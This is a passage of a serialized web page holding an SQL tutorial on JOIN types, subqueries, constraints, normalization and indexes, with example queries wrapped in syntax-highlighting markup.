avg_price\n",[94,21502,21503,21505],{"class":96,"line":1695},[94,21504,20331],{"class":753},[94,21506,20140],{"class":100},[94,21508,21509,21511],{"class":96,"line":1702},[94,21510,21375],{"class":753},[94,21512,21457],{"class":100},[94,21514,21515,21517,21519,21521,21523,21525],{"class":96,"line":1714},[94,21516,21405],{"class":753},[94,21518,21291],{"class":757},[94,21520,21294],{"class":100},[94,21522,8683],{"class":753},[94,21524,20695],{"class":757},[94,21526,1302],{"class":100},[16061,21528,21529],{},[11,21530,21531,5607,21534,21536,21537,21539],{},[1183,21532,21533],{},"Memory trick:",[34,21535,19492],{}," is for rows, ",[34,21538,21405],{}," is for groups.",[18751,21541,21543],{"id":21542},"the-logical-order-of-sql-clauses","The Logical Order of SQL Clauses",[11,21545,21546,21547,21550,21551,21554],{},"SQL clauses are ",[1512,21548,21549],{},"written"," in one order but ",[1512,21552,21553],{},"executed"," in another:",[85,21556,21559],{"className":21557,"code":21558,"language":8778},[8776],"Written Order:             Execution Order:\n1. SELECT                  1. FROM\n2. FROM                    2. WHERE\n3. WHERE                   3. GROUP BY\n4. GROUP BY                4. HAVING\n5. HAVING                  5. SELECT\n6. ORDER BY                6. ORDER BY\n7. LIMIT                   7. LIMIT\n",[34,21560,21558],{"__ignoreMap":90},[11,21562,21563,21564,21567,21568,21570,21571,21573],{},"Understanding execution order explains ",[1512,21565,21566],{},"why"," you can't use a ",[34,21569,19480],{}," alias\nin a ",[34,21572,19492],{}," clause — the alias hasn't been created yet at that point.",[23,21575,21577],{"id":21576},"_44-joins-combining-tables","4.4 JOINs — Combining Tables",[11,21579,21580,21583,21584,21587,21588,21591],{},[1183,21581,21582],{},"SQL JOIN types explained"," — JOINs are the most powerful feature in SQL.\nThey let you query ",[1512,21585,21586],{},"multiple tables at once"," by linking them through their\nrelated keys. Knowing the ",[1183,21589,21590],{},"difference between INNER JOIN and LEFT JOIN"," is one of the most practical skills in relational databases.",[11,21593,21594],{},"Let's use a concrete example:",[85,21596,21598],{"className":18770,"code":21597,"language":18772,"meta":90,"style":90},"-- Our tables:\n-- customers(id, name, email)\n-- orders(id, customer_id, total_amount, order_date, status)\n",[34,21599,21600,21605,21610],{"__ignoreMap":90},[94,21601,21602],{"class":96,"line":97},[94,21603,21604],{"class":790},"-- Our tables:\n",[94,21606,21607],{"class":96,"line":111},[94,21608,21609],{"class":790},"-- customers(id, name, email)\n",[94,21611,21612],{"class":96,"line":122},[94,21613,21614],{"class":790},"-- orders(id, customer_id, total_amount, order_date, status)\n",[11,21616,21617],{},[426,21618],{"alt":21619,"src":21620},"SQL JOINs Venn Diagram","/post-images/sql-made-dead-simple-rdbms-guide/sql-joins-venn-diagram.png",[18751,21622,21624],{"id":21623},"inner-join","INNER JOIN",[11,21626,21627,21628,360],{},"Returns only the rows where there is a ",[1183,21629,21630],{},"match in both tables",[85,21632,21634],{"className":18770,"code":21633,"language":18772,"meta":90,"style":90},"SELECT\n    c.name        AS customer_name,\n    o.id          AS order_id,\n    o.total_amount,\n    o.order_date\nFROM customers c\nINNER JOIN orders o ON c.id = o.customer_id;\n",[34,21635,21636,21640,21654,21669,21680,21689,21696],{"__ignoreMap":90},[94,21637,21638],{"class":96,"line":97},[94,21639,20399],{"class":753},[94,21641,21642,21645,21647,21649,21651],{"class":96,"line":111},[94,21643,21644],{"class":757},"    c",[94,21646,360],{"class":100},[94,21648,4026],{"class":757},[94,21650,20406],{"class":753},[94,21652,21653],{"class":100}," customer_name,\n",[94,21655,21656,21659,21661,21663,21666],{"class":96,"line":122},[94,21657,21658],{"class":757},"    o",[94,21660,360],{"class":100},[94,21662,367],{"class":757},[94,21664,21665],{"class":753},"          AS",[94,21667,21668],{"class":100}," order_id,\n",[94,21670,21671,21673,21675,21678],{"class":96,"line":138},[94,21672,21658],{"class":757},[94,21674,360],{"class":100},[94,21676,21677],{"class":757},"total_amount",[94,21679,3848],{"class":100},[94,21681,21682,21684,21686],{"class":96,"line":164},[94,21683,21658],{"class":757},[94,21685,360],{"class":100},[94,21687,21688],{"class":757},"order_date\n",[94,21690,21691,21693],{"class":96,"line":174},[94,21692,20331],{"class":753},[94,21694,21695],{"class":100}," customers c\n",[94,21697,21698,21700,21703,21706,21708,21710,21712,21714,21717,21719,21722],{"class":96,"line":188},[94,21699,21624],{"class":753},[94,21701,21702],{"class":100}," orders o ",[94,21704,21705],{"class":753},"ON",[94,21707,6479],{"class":757},[94,21709,360],{"class":100},[94,21711,367],{"class":757},[94,21713,761],{"class":753},[94,21715,21716],{"class":757}," o",[94,21718,360],{"class":100},[94,21720,21721],{"class":757},"customer_id",[94,21723,1302],{"class":100},[16061,21725,21726],{},[11,21727,21728,21729,21732],{},"Customers who have never placed an order will ",[1183,21730,21731],{},"NOT"," appear here.",[18751,21734,21736],{"id":21735},"left-join-left-outer-join","LEFT JOIN (LEFT OUTER JOIN)",[11,21738,21739,21740,21743],{},"Returns ",[1183,21741,21742],{},"all rows from the left table",", and matched rows from the right.\nIf there is no match, the right side columns return NULL.",[85,21745,21747],{"className":18770,"code":21746,"language":18772,"meta":90,"style":90},"-- All customers, even those with no orders\nSELECT\n    c.name        AS customer_name,\n    o.id          AS order_id,\n    o.total_amount\nFROM customers c\nLEFT JOIN orders o ON c.id = o.customer_id;\n",[34,21748,21749,21754,21758,21770,21782,21791,21797],{"__ignoreMap":90},[94,21750,21751],{"class":96,"line":97},[94,21752,21753],{"class":790},"-- All customers, even those with no orders\n",[94,21755,21756],{"class":96,"line":111},[94,21757,20399],{"class":753},[94,21759,21760,21762,21764,21766,21768],{"class":96,"line":122},[94,21761,21644],{"class":757},[94,21763,360],{"class":100},[94,21765,4026],{"class":757},[94,21767,20406],{"class":753},[94,21769,21653],{"class":100},[94,21771,21772,21774,21776,21778,21780],{"class":96,"line":138},[94,21773,21658],{"class":757},[94,21775,360],{"class":100},[94,21777,367],{"class":757},[94,21779,21665],{"class":753},[94,21781,21668],{"class":100},[94,21783,21784,21786,21788],{"class":96,"line":164},[94,21785,21658],{"class":757},[94,21787,360],{"class":100},[94,21789,21790],{"class":757},"total_amount\n",[94,21792,21793,21795],{"class":96,"line":174},[94,21794,20331],{"class":753},[94,21796,21695],{"class":100},[94,21798,21799,21802,21804,21806,21808,21810,21812,21814,21816,21818,21820],{"class":96,"line":188},[94,21800,21801],{"class":753},"LEFT JOIN",[94,21803,21702],{"class":100},[94,21805,21705],{"class":753},[94,21807,6479],{"class":757},[94,21809,360],{"class":100},[94,21811,367],{"class":757},[94,21813,761],{"class":753},[94,21815,21716],{"class":757},[94,21817,360],{"class":100},[94,21819,21721],{"class":757},[94,21821,1302],{"class":100},[16061,21823,21824],{},[11,21825,21826,21827,360],{},"A customer with no orders will show up with ",[34,21828,21829],{},"order_id = NULL",[18751,21831,21833],{"id":21832},"right-join-right-outer-join","RIGHT JOIN (RIGHT OUTER JOIN)",[11,21835,21836],{},"The mirror of LEFT JOIN — all rows from the right table, matched rows from\nthe left. (Less common; usually rewritten as a LEFT JOIN for clarity.)",[18751,21838,21840],{"id":21839},"full-outer-join","FULL OUTER JOIN",[11,21842,21843,21844,21847],{},"Returns all rows from ",[1183,21845,21846],{},"both"," tables. NULLs fill in where there is no match\non either side.",[85,21849,21851],{"className":18770,"code":21850,"language":18772,"meta":90,"style":90},"SELECT c.name, o.id AS order_id\nFROM customers c\nFULL OUTER JOIN orders o ON c.id = o.customer_id;\n",[34,21852,21853,21878,21884],{"__ignoreMap":90},[94,21854,21855,21857,21859,21861,21863,21865,21868,21870,21872,21875],{"class":96,"line":97},[94,21856,19480],{"class":753},[94,21858,6479],{"class":757},[94,21860,360],{"class":100},[94,21862,4026],{"class":757},[94,21864,346],{"class":100},[94,21866,21867],{"class":757},"o",[94,21869,360],{"class":100},[94,21871,367],{"class":757},[94,21873,21874],{"class":753}," AS",[94,21876,21877],{"class":100}," order_id\n",[94,21879,21880,21882],{"class":96,"line":111},[94,21881,20331],{"class":753},[94,21883,21695],{"class":100},[94,21885,21886,21888,21890,21892,21894,21896,21898,21900,21902,21904,21906],{"class":96,"line":122},[94,21887,21840],{"class":753},[94,21889,21702],{"class":100},[94,21891,21705],{"class":753},[94,21893,6479],{"class":757},[94,21895,360],{"class":100},[94,21897,367],{"class":757},[94,21899,761],{"class":753},[94,21901,21716],{"class":757},[94,21903,360],{"class":100},[94,21905,21721],{"class":757},[94,21907,1302],{"class":100},[18751,21909,21911],{"id":21910},"cross-join","CROSS JOIN",[11,21913,21914,21915,21918],{},"Returns the ",[1183,21916,21917],{},"Cartesian product"," — every row in Table A combined with every\nrow in Table B. Use with extreme caution (1000 rows × 1000 rows = 1,000,000\nresult rows).",[85,21920,21922],{"className":18770,"code":21921,"language":18772,"meta":90,"style":90},"-- Every possible pairing of colors and sizes\nSELECT colors.name, sizes.label\nFROM colors\nCROSS JOIN sizes;\n",[34,21923,21924,21929,21949,21956],{"__ignoreMap":90},[94,21925,21926],{"class":96,"line":97},[94,21927,21928],{"class":790},"-- Every possible pairing of colors and sizes\n",[94,21930,21931,21933,21936,21938,21940,21942,21944,21946],{"class":96,"line":111},[94,21932,19480],{"class":753},[94,21934,21935],{"class":757}," colors",[94,21937,360],{"class":100},[94,21939,4026],{"class":757},[94,21941,346],{"class":100},[94,21943,8456],{"class":757},[94,21945,360],{"class":100},[94,21947,21948],{"class":757},"label\n",[94,21950,21951,21953],{"class":96,"line":122},[94,21952,20331],{"class":753},[94,21954,21955],{"class":100}," colors\n",[94,21957,21958,21960],{"class":96,"line":138},[94,21959,21911],{"class":753},[94,21961,21962],{"class":100}," sizes;\n",[18751,21964,21966],{"id":21965},"join-with-multiple-tables","JOIN with Multiple Tables",[85,21968,21970],{"className":18770,"code":21969,"language":18772,"meta":90,"style":90},"SELECT\n    c.name          AS customer,\n    p.name          AS product,\n    oi.quantity,\n    oi.unit_price\nFROM customers c\nJOIN orders    o  ON c.id    = o.customer_id\nJOIN order_items oi ON o.id = oi.order_id\nJOIN products  p  ON p.id   = oi.product_id\nWHERE c.id = 5;\n",[34,21971,21972,21976,21989,22003,22015,22024,22030,22056,22081,22106],{"__ignoreMap":90},[94,21973,21974],{"class":96,"line":97},[94,21975,20399],{"class":753},[94,21977,21978,21980,21982,21984,21986],{"class":96,"line":111},[94,21979,21644],{"class":757},[94,21981,360],{"class":100},[94,21983,4026],{"class":757},[94,21985,21665],{"class":753},[94,21987,21988],{"class":100}," customer,\n",[94,21990,21991,21994,21996,21998,22000],{"class":96,"line":122},[94,21992,21993],{"class":757},"    p",[94,21995,360],{"class":100},[94,21997,4026],{"class":757},[94,21999,21665],{"class":753},[94,22001,22002],{"class":100}," product,\n",[94,22004,22005,22008,22010,22013],{"class":96,"line":138},[94,22006,22007],{"class":757},"    oi",[94,22009,360],{"class":100},[94,22011,22012],{"class":757},"quantity",[94,22014,3848],{"class":100},[94,22016,22017,22019,22021],{"class":96,"line":164},[94,22018,22007],{"class":757},[94,22020,360],{"class":100},[94,22022,22023],{"class":757},"unit_price\n",[94,22025,22026,22028],{"class":96,"line":174},[94,22027,20331],{"class":753},[94,22029,21695],{"class":100},[94,22031,22032,22035,22038,22040,22042,22044,22046,22049,22051,22053],{"class":96,"line":188},[94,22033,22034],{"class":753},"JOIN",[94,22036,22037],{"class":100}," orders    o  ",[94,22039,21705],{"class":753},[94,22041,6479],{"class":757},[94,22043,360],{"class":100},[94,22045,367],{"class":757},[94,22047,22048],{"class":753},"    =",[94,22050,21716],{"class":757},[94,22052,360],{"class":100},[94,22054,22055],{"class":757},"customer_id\n",[94,22057,22058,22060,22063,22065,22067,22069,22071,22073,22076,22078],{"class":96,"line":203},[94,22059,22034],{"class":753},[94,22061,22062],{"class":100}," order_items oi ",[94,22064,21705],{"class":753},[94,22066,21716],{"class":757},[94,22068,360],{"class":100},[94,22070,367],{"class":757},[94,22072,761],{"class":753},[94,22074,22075],{"class":757}," oi",[94,22077,360],{"class":100},[94,22079,22080],{"class":757},"order_id\n",[94,22082,22083,22085,22088,22090,22092,22094,22096,22099,22101,22103],{"class":96,"line":1695},[94,22084,22034],{"class":753},[94,22086,22087],{"class":100}," products  p  ",[94,22089,21705],{"class":753},[94,22091,4586],{"class":757},[94,22093,360],{"class":100},[94,22095,367],{"class":757},[94,22097,22098],{"class":753},"   =",[94,22100,22075],{"class":757},[94,22102,360],{"class":100},[94,22104,22105],{"class":757},"product_id\n",[94,22107,22108,22110,22112,22114,22116,22118,22120],{"class":96,"line":1702},[94,22109,19492],{"class":753},[94,22111,6479],{"class":757},[94,22113,360],{"class":100},[94,22115,367],{"class":757},[94,22117,761],{"class":753},[94,22119,21089],{"class":757},[94,22121,1302],{"class":100},[23,22123,22125],{"id":22124},"_45-subqueries","4.5 Subqueries",[11,22127,1748,22128,22131],{},[1183,22129,22130],{},"subquery"," is a query nested inside another query. The inner query runs\nfirst, and its result is used by the outer query.",[85,22133,22135],{"className":18770,"code":22134,"language":18772,"meta":90,"style":90},"-- Find all customers who have placed at least one order\nSELECT name FROM customers\nWHERE id IN (\n    SELECT DISTINCT customer_id FROM orders\n);\n\n-- Find products that cost more than the average price\nSELECT name, price FROM products\nWHERE price > (\n    SELECT AVG(price) FROM products\n);\n\n-- Subquery in FROM clause (derived table)\nSELECT category, avg_price\nFROM (\n    SELECT category, AVG(price) AS avg_price\n    FROM products\n    GROUP BY category\n) AS category_summary\nWHERE avg_price > 1500;\n",[34,22136,22137,22142,22153,22163,22176,22180,22184,22189,22201,22211,22224,22228,22232,22237,22244,22250,22264,22271,22278,22287],{"__ignoreMap":90},[94,22138,22139],{"class":96,"line":97},[94,22140,22141],{"class":790},"-- Find all customers who have placed at least one order\n",[94,22143,22144,22146,22148,22150],{"class":96,"line":111},[94,22145,19480],{"class":753},[94,22147,1139],{"class":753},[94,22149,19486],{"class":753},[94,22151,22152],{"class":100}," customers\n",[94,22154,22155,22157,22159,22161],{"class":96,"line":122},[94,22156,19492],{"class":753},[94,22158,20513],{"class":100},[94,22160,20807],{"class":753},[94,22162,18793],{"class":100},[94,22164,22165,22168,22171,22173],{"class":96,"line":138},[94,22166,22167],{"class":753},"    SELECT DISTINCT",[94,22169,22170],{"class":100}," customer_id ",[94,22172,20331],{"class":753},[94,22174,22175],{"class":100}," orders\n",[94,22177,22178],{"class":96,"line":164},[94,22179,2093],{"class":100},[94,22181,22182],{"class":96,"line":174},[94,22183,289],{"emptyLinePlaceholder":288},[94,22185,22186],{"class":96,"line":188},[94,22187,22188],{"class":790},"-- Find products that cost more than the average price\n",[94,22190,22191,22193,22195,22197,22199],{"class":96,"line":203},[94,22192,19480],{"class":753},[94,22194,1139],{"class":753},[94,22196,21054],{"class":100},[94,22198,20331],{"class":753},[94,22200,20140],{"class":100},[94,22202,22203,22205,22207,22209],{"class":96,"line":1695},[94,22204,19492],{"class":753},[94,22206,20148],{"class":100},[94,22208,8683],{"class":753},[94,22210,18793],{"class":100},[94,22212,22213,22216,22218,22220,22222],{"class":96,"line":1702},[94,22214,22215],{"class":753},"    SELECT",[94,22217,21291],{"class":757},[94,22219,21294],{"class":100},[94,22221,20331],{"class":753},[94,22223,20140],{"class":100},[94,22225,22226],{"class":96,"line":1714},[94,22227,2093],{"class":100},[94,22229,22230],{"class":96,"line":1726},[94,22231,289],{"emptyLinePlaceholder":288},[94,22233,22234],{"class":96,"line":5586},[94,22235,22236],{"class":790},"-- Subquery in FROM clause (derived table)\n",[94,22238,22239,22241],{"class":96,"line":6797},[94,22240,19480],{"class":753},[94,22242,22243],{"class":100}," category, avg_price\n",[94,22245,22246,22248],{"class":96,"line":6808},[94,22247,20331],{"class":753},[94,22249,18793],{"class":100},[94,22251,22252,22254,22256,22258,22260,22262],{"class":96,"line":6821},[94,22253,22215],{"class":753},[94,22255,21430],{"class":100},[94,22257,21493],{"class":757},[94,22259,21294],{"class":100},[94,22261,20417],{"class":753},[94,22263,21500],{"class":100},[94,22265,22266,22269],{"class":96,"line":6827},[94,22267,22268],{"class":753},"    FROM",[94,22270,20140],{"class":100},[94,22272,22273,22276],{"class":96,"line":6832},[94,22274,22275],{"class":753},"    GROUP BY",[94,22277,21457],{"class":100},[94,22279,22280,22282,22284],{"class":96,"line":17244},[94,22281,3615],{"class":100},[94,22283,20417],{"class":753},[94,22285,22286],{"class":100}," category_summary\n",[94,22288,22289,22291,22293,22295,22298],{"class":96,"line":17250},[94,22290,19492],{"class":753},[94,22292,21299],{"class":100},[94,22294,8683],{"class":753},[94,22296,22297],{"class":757}," 1500",[94,22299,1302],{"class":100},[18509,22301],{},[18,22303,22305],{"id":22304},"_5-constraints-enforcing-rules","5. Constraints — Enforcing Rules",[11,22307,22308,22311,22312,22315],{},[1183,22309,22310],{},"SQL constraints"," are rules applied to columns that the database enforces\nautomatically. They are a core part of maintaining ",[1183,22313,22314],{},"data integrity"," and\nprevent bad data from ever entering your database.",[497,22317,22318,22328],{},[500,22319,22320],{},[503,22321,22322,22325],{},[506,22323,22324],{},"Constraint",[506,22326,22327],{},"What It Does",[519,22329,22330,22340,22350,22359,22369,22379],{},[503,22331,22332,22337],{},[524,22333,22334],{},[34,22335,22336],{},"PRIMARY KEY",[524,22338,22339],{},"Unique + NOT NULL. Uniquely identifies each row.",[503,22341,22342,22347],{},[524,22343,22344],{},[34,22345,22346],{},"FOREIGN KEY",[524,22348,22349],{},"Value must exist in the referenced table.",[503,22351,22352,22356],{},[524,22353,22354],{},[34,22355,19729],{},[524,22357,22358],{},"Column cannot be empty.",[503,22360,22361,22366],{},[524,22362,22363],{},[34,22364,22365],{},"UNIQUE",[524,22367,22368],{},"All values in the column must be different.",[503,22370,22371,22376],{},[524,22372,22373],{},[34,22374,22375],{},"DEFAULT",[524,22377,22378],{},"Provides a default value if none is given.",[503,22380,22381,22386],{},[524,22382,22383],{},[34,22384,22385],{},"CHECK",[524,22387,22388],{},"Value must satisfy a custom boolean expression.",[85,22390,22392],{"className":18770,"code":22391,"language":18772,"meta":90,"style":90},"CREATE TABLE employees (\n    id         SERIAL PRIMARY KEY,\n    email      VARCHAR(255) NOT NULL UNIQUE,\n    name       VARCHAR(100) NOT NULL,\n    salary     DECIMAL(10,2) CHECK (salary > 0),\n    department VARCHAR(50) DEFAULT 'General',\n    manager_id INT REFERENCES employees(id)    -- Self-referencing FK\n);\n",[34,22393,22394,22405,22416,22437,22453,22482,22502,22517],{"__ignoreMap":90},[94,22395,22396,22398,22400,22403],{"class":96,"line":97},[94,22397,18784],{"class":753},[94,22399,18787],{"class":753},[94,22401,22402],{"class":146}," employees",[94,22404,18793],{"class":100},[94,22406,22407,22410,22412,22414],{"class":96,"line":111},[94,22408,22409],{"class":100},"    id         ",[94,22411,19705],{"class":753},[94,22413,18804],{"class":753},[94,22415,3848],{"class":100},[94,22417,22418,22421,22423,22425,22428,22430,22432,22435],{"class":96,"line":122},[94,22419,22420],{"class":100},"    email      ",[94,22422,19831],{"class":753},[94,22424,770],{"class":100},[94,22426,22427],{"class":757},"255",[94,22429,3615],{"class":100},[94,22431,19729],{"class":753},[94,22433,22434],{"class":753}," UNIQUE",[94,22436,3848],{"class":100},[94,22438,22439,22441,22443,22445,22447,22449,22451],{"class":96,"line":138},[94,22440,18811],{"class":753},[94,22442,18814],{"class":753},[94,22444,770],{"class":100},[94,22446,2186],{"class":757},[94,22448,3615],{"class":100},[94,22450,19729],{"class":753},[94,22452,3848],{"class":100},[94,22454,22455,22458,22460,22462,22464,22467,22469,22471,22473,22476,22478,22480],{"class":96,"line":164},[94,22456,22457],{"class":100},"    salary     ",[94,22459,19749],{"class":753},[94,22461,770],{"class":100},[94,22463,5430],{"class":757},[94,22465,22466],{"class":100},",",[94,22468,5055],{"class":757},[94,22470,3615],{"class":100},[94,22472,22385],{"class":753},[94,22474,22475],{"class":100}," (salary ",[94,22477,8683],{"class":753},[94,22479,5159],{"class":757},[94,22481,18821],{"class":100},[94,22483,22484,22487,22489,22491,22493,22495,22497,22500],{"class":96,"line":174},[94,22485,22486],{"class":100},"    department ",[94,22488,19831],{"class":753},[94,22490,770],{"class":100},[94,22492,20026],{"class":757},[94,22494,3615],{"class":100},[94,22496,22375],{"class":753},[94,22498,22499],{"class":153}," 'General'",[94,22501,3848],{"class":100},[94,22503,22504,22507,22509,22511,22514],{"class":96,"line":188},[94,22505,22506],{"class":100},"    manager_id ",[94,22508,18801],{"class":753},[94,22510,18892],{"class":753},[94,22512,22513],{"class":100}," employees(id)    ",[94,22515,22516],{"class":790},"-- Self-referencing FK\n",[94,22518,22519],{"class":96,"line":203},[94,22520,2093],{"class":100},[11,22522,22523],{},[1183,22524,22525],{},"What happens when a constraint is violated?",[85,22527,22529],{"className":18770,"code":22528,"language":18772,"meta":90,"style":90},"-- This will FAIL with an error because email must be unique\nINSERT INTO employees (email, name, salary)\nVALUES ('dev@example.com', 'Rahul', 50000);\n\nINSERT INTO employees (email, name, salary)\nVALUES ('dev@example.com', 'Priya', 60000);  -- ERROR: duplicate key value\n",[34,22530,22531,22536,22548,22568,22572,22582],{"__ignoreMap":90},[94,22532,22533],{"class":96,"line":97},[94,22534,22535],{"class":790},"-- This will FAIL with an error because email must be unique\n",[94,22537,22538,22540,22543,22545],{"class":96,"line":111},[94,22539,19993],{"class":753},[94,22541,22542],{"class":100}," employees (email, ",[94,22544,4026],{"class":753},[94,22546,22547],{"class":100},", salary)\n",[94,22549,22550,22552,22554,22557,22559,22561,22563,22566],{"class":96,"line":122},[94,22551,20006],{"class":753},[94,22553,2253],{"class":100},[94,22555,22556],{"class":153},"'dev@example.com'",[94,22558,346],{"class":100},[94,22560,19294],{"class":153},[94,22562,346],{"class":100},[94,22564,22565],{"class":757},"50000",[94,22567,2093],{"class":100},[94,22569,22570],{"class":96,"line":138},[94,22571,289],{"emptyLinePlaceholder":288},[94,22573,22574,22576,22578,22580],{"class":96,"line":164},[94,22575,19993],{"class":753},[94,22577,22542],{"class":100},[94,22579,4026],{"class":753},[94,22581,22547],{"class":100},[94,22583,22584,22586,22588,22590,22592,22595,22597,22600,22603],{"class":96,"line":174},[94,22585,20006],{"class":753},[94,22587,2253],{"class":100},[94,22589,22556],{"class":153},[94,22591,346],{"class":100},[94,22593,22594],{"class":153},"'Priya'",[94,22596,346],{"class":100},[94,22598,22599],{"class":757},"60000",[94,22601,22602],{"class":100},");  ",[94,22604,22605],{"class":790},"-- ERROR: duplicate key value\n",[11,22607,22608,22609,22612],{},"The database rejects the second insert automatically. You don't need to write\nany application-level code to check for this — the database handles ",[1183,22610,22611],{},"data\nintegrity"," natively.",[18509,22614],{},[18,22616,22618],{"id":22617},"_6-normalization-designing-clean-databases","6. Normalization — Designing Clean Databases",[11,22620,22621,22624,22625,22628,22629,22631,22632,360],{},[1183,22622,22623],{},"Database normalization explained:"," Normalization is the process of organizing\na database to reduce ",[1183,22626,22627],{},"data redundancy"," (storing the same data in multiple\nplaces) and improve ",[1183,22630,22314],{},". It is a foundational step when you\n",[1183,22633,22634],{},"design a relational database from scratch",[23,22636,22638],{"id":22637},"the-problem-un-normalized-data","The Problem: Un-normalized Data",[11,22640,22641],{},"Imagine storing all order data in one flat table:",[85,22643,22646],{"className":22644,"code":22645,"language":8778},[8776],"+----------+----------+-------------------+----------+----------+-------+\n| order_id | cust_name| cust_email        | product  | category | price |\n+----------+----------+-------------------+----------+----------+-------+\n|    1     | Rahul    | rahul@example.com | Keyboard | Electronics | 3499|\n|    2     | Rahul    | rahul@example.com | Mouse    | Electronics | 999 |\n|    3     | Priya    | priya@example.com | Hub      | Electronics | 1499|\n+----------+----------+-------------------+----------+----------+-------+\n",[34,22647,22645],{"__ignoreMap":90},[11,22649,22650],{},[1183,22651,22652],{},"Problems:",[483,22654,22655,22662,22665],{},[486,22656,22657,22658,22661],{},"Rahul's email is repeated — if he changes it, you must update ",[1512,22659,22660],{},"every"," row",[486,22663,22664],{},"Deleting all of Priya's orders accidentally deletes her customer record too",[486,22666,22667],{},"Inserting a new customer requires placing a dummy order",[23,22669,22671],{"id":22670},"normal-forms","Normal Forms",[18751,22673,22675],{"id":22674},"first-normal-form-1nf","First Normal Form (1NF)",[483,22677,22678,22685],{},[486,22679,22680,22681,22684],{},"Every column contains ",[1183,22682,22683],{},"atomic (indivisible) values"," — no lists or sets\nin a single cell",[486,22686,22687],{},"Each row is unique",[85,22689,22691],{"className":18770,"code":22690,"language":18772,"meta":90,"style":90},"-- VIOLATION of 1NF: storing multiple values in one column\n| order_id | products                          |\n|----------|-----------------------------------|\n|    1     | 'Keyboard, Mouse, USB Hub'        | ← BAD\n\n-- CORRECT 1NF: one value per cell, one row per item\n| order_id | product   |\n|----------|-----------|\n|    1     | Keyboard  |\n|    1     | Mouse     |\n|    1     | USB Hub   |\n",[34,22692,22693,22698,22703,22710,22726,22730,22735,22740,22747,22756,22765],{"__ignoreMap":90},[94,22694,22695],{"class":96,"line":97},[94,22696,22697],{"class":790},"-- VIOLATION of 1NF: storing multiple values in one column\n",[94,22699,22700],{"class":96,"line":111},[94,22701,22702],{"class":100},"| order_id | products                          |\n",[94,22704,22705,22707],{"class":96,"line":122},[94,22706,20355],{"class":100},[94,22708,22709],{"class":790},"----------|-----------------------------------|\n",[94,22711,22712,22715,22717,22720,22723],{"class":96,"line":138},[94,22713,22714],{"class":100},"|    ",[94,22716,2591],{"class":757},[94,22718,22719],{"class":100},"     | ",[94,22721,22722],{"class":153},"'Keyboard, Mouse, USB Hub'",[94,22724,22725],{"class":100},"        | ← BAD\n",[94,22727,22728],{"class":96,"line":164},[94,22729,289],{"emptyLinePlaceholder":288},[94,22731,22732],{"class":96,"line":174},[94,22733,22734],{"class":790},"-- CORRECT 1NF: one value per cell, one row per item\n",[94,22736,22737],{"class":96,"line":188},[94,22738,22739],{"class":100},"| order_id | product   |\n",[94,22741,22742,22744],{"class":96,"line":203},[94,22743,20355],{"class":100},[94,22745,22746],{"class":790},"----------|-----------|\n",[94,22748,22749,22751,22753],{"class":96,"line":1695},[94,22750,22714],{"class":100},[94,22752,2591],{"class":757},[94,22754,22755],{"class":100},"     | Keyboard  |\n",[94,22757,22758,22760,22762],{"class":96,"line":1702},[94,22759,22714],{"class":100},[94,22761,2591],{"class":757},[94,22763,22764],{"class":100},"     | Mouse     |\n",[94,22766,22767,22769,22771],{"class":96,"line":1714},[94,22768,22714],{"class":100},[94,22770,2591],{"class":757},[94,22772,22773],{"class":100},"     | USB Hub   |\n",[18751,22775,22777],{"id":22776},"second-normal-form-2nf","Second Normal Form (2NF)",[483,22779,22780,22783,22789],{},[486,22781,22782],{},"Must be in 1NF",[486,22784,22785,22786,22788],{},"Every non-key column must depend on the ",[1183,22787,4383],{}," primary key (no partial\ndependencies)",[486,22790,22791],{},"Only relevant when the primary key is composite",[18751,22793,22795],{"id":22794},"third-normal-form-3nf","Third Normal Form (3NF)",[483,22797,22798,22801],{},[486,22799,22800],{},"Must be in 2NF",[486,22802,22803,22804,22807,22808,22811],{},"No ",[1183,22805,22806],{},"transitive dependencies"," — non-key columns must depend ",[1512,22809,22810],{},"only"," on the\nprimary key, not on other non-key columns",[85,22813,22815],{"className":18770,"code":22814,"language":18772,"meta":90,"style":90},"-- VIOLATION: category_description depends on category, not on product_id\nproducts(product_id, name, category, category_description)\n\n-- CORRECT 3NF: split into two tables\nproducts(product_id, name, category_id)\ncategories(category_id, category_name, category_description)\n",[34,22816,22817,22822,22832,22836,22841,22850],{"__ignoreMap":90},[94,22818,22819],{"class":96,"line":97},[94,22820,22821],{"class":790},"-- VIOLATION: category_description depends on category, not on product_id\n",[94,22823,22824,22827,22829],{"class":96,"line":111},[94,22825,22826],{"class":100},"products(product_id, ",[94,22828,4026],{"class":753},[94,22830,22831],{"class":100},", category, category_description)\n",[94,22833,22834],{"class":96,"line":122},[94,22835,289],{"emptyLinePlaceholder":288},[94,22837,22838],{"class":96,"line":138},[94,22839,22840],{"class":790},"-- CORRECT 3NF: split into two tables\n",[94,22842,22843,22845,22847],{"class":96,"line":164},[94,22844,22826],{"class":100},[94,22846,4026],{"class":753},[94,22848,22849],{"class":100},", category_id)\n",[94,22851,22852],{"class":96,"line":174},[94,22853,22854],{"class":100},"categories(category_id, category_name, category_description)\n",[16061,22856,22857],{},[11,22858,22859,22862,22863,22866,22867,22870],{},[1183,22860,22861],{},"Practical advice:"," Aim for 3NF in most projects. ",[1183,22864,22865],{},"How normalization works\nin databases"," is about finding the right balance — over-normalizing can\nsometimes hurt query performance (too many JOINs). Real-world systems\noccasionally ",[1512,22868,22869],{},"deliberately"," denormalize for performance.",[18509,22872],{},[18,22874,22876],{"id":22875},"_7-indexes-making-queries-fast","7. Indexes — Making Queries Fast",[11,22878,22879,22882,22883,22886,22887,22890],{},[1183,22880,22881],{},"Database indexes explained:"," An index is a separate data structure (usually\na B-Tree) that the database builds to make searching faster. Without an index,\nthe database does a ",[1183,22884,22885],{},"full table scan"," — it reads every single row to find a\nmatch. ",[1183,22888,22889],{},"Query optimization"," in SQL largely comes down to strategic use of\nindexes.",[11,22892,22893],{},"Think of it like a book's index at the back — instead of reading all 500 pages\nto find \"Binary Search,\" you look it up in the index and jump directly to\npage 312.",[85,22895,22897],{"className":18770,"code":22896,"language":18772,"meta":90,"style":90},"-- Create an index on the email column (often searched)\nCREATE INDEX idx_customers_email ON customers(email);\n\n-- Create a composite index (for queries that filter on both columns)\nCREATE INDEX idx_orders_customer_date ON orders(customer_id, order_date);\n\n-- Unique index (also enforces uniqueness like a UNIQUE constraint)\nCREATE UNIQUE INDEX idx_products_sku ON products(sku);\n\n-- Drop an index\nDROP INDEX idx_customers_email;\n",[34,22898,22899,22904,22919,22923,22928,22942,22946,22951,22966,22970,22975],{"__ignoreMap":90},[94,22900,22901],{"class":96,"line":97},[94,22902,22903],{"class":790},"-- Create an index on the email 